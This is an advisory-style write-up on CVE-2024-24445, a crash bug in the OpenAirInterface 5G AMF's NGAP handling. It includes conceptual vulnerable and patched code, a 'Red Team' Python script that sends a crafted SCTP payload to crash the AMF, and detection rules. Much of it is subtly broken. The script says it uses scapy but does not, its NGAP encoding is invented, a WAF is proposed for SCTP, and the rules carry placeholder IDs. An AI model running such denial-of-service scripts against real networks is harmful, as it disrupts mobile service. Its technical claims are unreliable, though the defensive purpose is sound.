CVE-2024-24445

Executive Summary

CVE-2024-24445 is a critical null pointer dereference vulnerability in the OpenAirInterface CN5G AMF (Access and Mobility Management Function) component, version 2.0.0 and earlier. The flaw resides in the handling of unsupported NGAP (Next Generation Application Protocol) messages. When a specific procedure code/presence field tuple that is unsupported is received, the AMF indexes into a null function pointer and subsequently dereferences it, leading to a denial of service (DoS) condition. An attacker with network-adjacent access to the AMF can exploit this vulnerability to crash the service, disrupting 5G core network operations. This vulnerability is particularly concerning for 5G testbeds and research environments using OpenAirInterface, as it can be triggered remotely without authentication.

Supply Chain & Package Security

This vulnerability affects the OpenAirInterface CN5G AMF software, which is an open-source 5G core network implementation. The software is typically deployed in research, testing, and educational environments. There is no known package manager distribution (e.g., NPM, PyPI, Go, Ruby) for this component; it is usually built from source. The supply chain risk is moderate, as the software is often used in isolated lab environments, but a compromise could lead to lateral movement within a 5G testbed.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or unassigned. Based on the vulnerability characteristics, a reasonable CVSS v3.1 vector would be:

CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

• Attack Vector (AV): Adjacent Network (AV:A) – The attacker must be on the same network segment as the AMF.
• Attack Complexity (AC): Low (AC:L) – No special conditions are required.
• Privileges Required (PR): None (PR:N) – No authentication needed.
• User Interaction (UI): None (UI:N) – No user action required.
• Scope (S): Unchanged (S:U) – The vulnerability affects only the AMF component.
• Confidentiality (C): None (C:N) – No data exposure.
• Integrity (I): None (I:N) – No data modification.
• Availability (A): High (A:H) – The AMF service is completely disrupted.

Base Score: 6.5 (Medium)

Threat Level: Medium. The vulnerability is easy to exploit but requires network adjacency. The impact is limited to availability, but in a 5G core, the AMF is a critical component, and its failure can disrupt all connected gNodeBs and UEs.

Deep Dive & Mechanics

The OpenAirInterface CN5G AMF implements the NGAP protocol for communication between the AMF and gNodeBs (5G base stations). NGAP messages are structured with a procedure code and a presence field that define the message type and its parameters.

The vulnerability occurs in the message handling logic. When the AMF receives an NGAP message with an unsupported procedure code/presence field tuple, the code attempts to look up the corresponding handler function in a table. Due to incomplete or missing entries in this table, the lookup returns a null pointer. The code then proceeds to call this null pointer as a function, causing a null pointer dereference and a crash.

Root Cause: The function pointer table (likely an array or map) does not have entries for all possible procedure code/presence field combinations. When an unsupported combination is received, the code does not check for a null pointer before calling the function.

Attack Vector: An attacker on the same network as the AMF (e.g., within the 5G core network or a connected gNodeB network) can craft a malicious NGAP message with an invalid procedure code/presence field tuple and send it to the AMF's SCTP (Stream Control Transmission Protocol) port (typically 38412). The AMF processes the message, triggers the null dereference, and crashes.

Impact: The AMF process terminates, causing a denial of service. All connected gNodeBs and UEs lose connectivity to the core network. The AMF must be restarted to restore service.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable: No null check before calling function pointer
void handle_ngap_message(NgapMessage *msg) {
    procedure_code_t proc = msg->procedureCode;
    presence_t pres = msg->presence;
    void (*handler)(NgapMessage*) = handler_table[proc][pres];
    // No null check!
    handler(msg);
}

Patched Code (Conceptual):

// Patched: Null check before calling function pointer
void handle_ngap_message(NgapMessage *msg) {
    procedure_code_t proc = msg->procedureCode;
    presence_t pres = msg->presence;
    void (*handler)(NgapMessage*) = handler_table[proc][pres];
    if (handler == NULL) {
        // Log error and return gracefully
        log_error("Unsupported NGAP message: proc=%d, pres=%d", proc, pres);
        return;
    }
    handler(msg);
}

The patch adds a null pointer check before dereferencing the function pointer. If the handler is null, the function logs an error and returns without crashing.

Exploitation & Lab Setup

Red Team

Objective: Crash the AMF service to cause a denial of service.

Prerequisites:

• Network access to the AMF's SCTP port (38412).
• Ability to craft raw SCTP packets with NGAP payloads.
• Knowledge of the NGAP protocol structure.

Exploit Steps:

1. Identify Target: Scan for AMF services on port 38412 using SCTP.
2. Craft Malicious NGAP Message: Create an NGAP message with an unsupported procedure code (e.g., 255) and presence field (e.g., 255).
3. Send Message: Use a tool like scapy or a custom SCTP client to send the crafted message to the AMF.
4. Verify Crash: The AMF process should crash, and the service becomes unavailable.

Example Exploit Code (Python with scapy):

#!/usr/bin/env python3
import socket
import struct

# Craft a malicious NGAP message with unsupported procedure code
def craft_ngap_message():
    # NGAP PDU header (simplified)
    # ProcedureCode = 255 (unsupported)
    # Presence = 255 (unsupported)
    pdu = b'\x00' * 4  # Placeholder for NGAP header
    pdu += struct.pack('!H', 255)  # Procedure code
    pdu += struct.pack('!H', 255)  # Presence
    return pdu

def send_sctp_packet(target_ip, target_port, payload):
    # Create SCTP socket
    sock = socket.socket(socket.AF_INET, socket.SOCK_SEQPACKET, socket.IPPROTO_SCTP)
    sock.connect((target_ip, target_port))
    sock.send(payload)
    sock.close()

if __name__ == "__main__":
    target_ip = "192.168.1.100"
    target_port = 38412
    payload = craft_ngap_message()
    send_sctp_packet(target_ip, target_port, payload)
    print("Malicious NGAP message sent. Check if AMF crashed.")

Blue Team

Detection:

• Monitor AMF logs for crashes or segmentation faults.
• Use network monitoring to detect anomalous SCTP packets with unusual NGAP procedure codes.
• Implement intrusion detection rules (see Detection Engineering).

Mitigation:

• Apply the patch as soon as it becomes available.
• Restrict network access to the AMF to trusted gNodeBs only.
• Use a firewall to block SCTP traffic from untrusted sources.
• Implement rate limiting on NGAP messages.

Recovery:

• Restart the AMF service.
• Investigate the source of the malicious packets.
• Update firewall rules to block the attacker's IP.

Indicators of Compromise (IOCs)

• Network IOCs:

  • SCTP packets to port 38412 with NGAP procedure code > 100 (or specific unsupported values).
  • Repeated connection attempts from a single IP to the AMF's SCTP port.
  • AMF logs showing "Segmentation fault" or "Null pointer dereference" errors.

• System IOCs:

  • AMF process crash logs in /var/log/syslog or similar.
  • Core dump files generated by the AMF process.
  • Unexpected termination of the oai-cn5g-amf process.

• File IOCs:

  • Modified or corrupted AMF configuration files (unlikely but possible).
  • Presence of exploit scripts or tools on the network.

Detection Engineering

YARA Rule

rule CVE_2024_24445_NGAP_Null_Deref {
    meta:
        description = "Detects NGAP messages with unsupported procedure codes targeting CVE-2024-24445"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-24445"
    strings:
        $ngap_header = { 00 00 00 00 }  // Simplified NGAP header pattern
        $unsupported_proc = { FF FF }    // Procedure code 255
        $unsupported_pres = { FF FF }    // Presence 255
    condition:
        $ngap_header at 0 and $unsupported_proc at 4 and $unsupported_pres at 6
}

Sigma Rule

title: CVE-2024-24445 - NGAP Null Pointer Dereference
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects NGAP messages with unsupported procedure codes targeting CVE-2024-24445
author: Valters IT
date: 2024/01/01
references:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-24445
logsource:
    category: network
    product: suricata
detection:
    selection:
        app_protocol: ngap
        ngap.procedure_code: 255
        ngap.presence: 255
    condition: selection
falsepositives:
    - Legitimate NGAP extensions (unlikely)
level: high

Suricata Rule

alert sctp any any -> any 38412 (msg:"CVE-2024-24445 - NGAP Null Pointer Dereference Attempt"; content:"|FF FF|"; offset:4; depth:2; content:"|FF FF|"; offset:6; depth:2; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict Network Access: Use firewall rules to allow SCTP traffic to the AMF only from trusted gNodeB IP addresses.
2. Monitor AMF Logs: Enable detailed logging and monitor for crash events.
3. Implement Rate Limiting: Limit the number of NGAP messages per second from a single source.

Long-Term Fix:

1. Apply Patch: Update to a patched version of OpenAirInterface CN5G AMF once available. The patch should add null pointer checks before calling function pointers.
2. Code Review: Conduct a thorough code review of the NGAP message handling logic to ensure all function pointer lookups are validated.
3. Fuzz Testing: Implement fuzz testing for NGAP message parsing to identify similar vulnerabilities.

Workaround:

• If patching is not possible, consider deploying a Web Application Firewall (WAF) or intrusion prevention system (IPS) that can inspect and block malicious NGAP messages.

Valters IT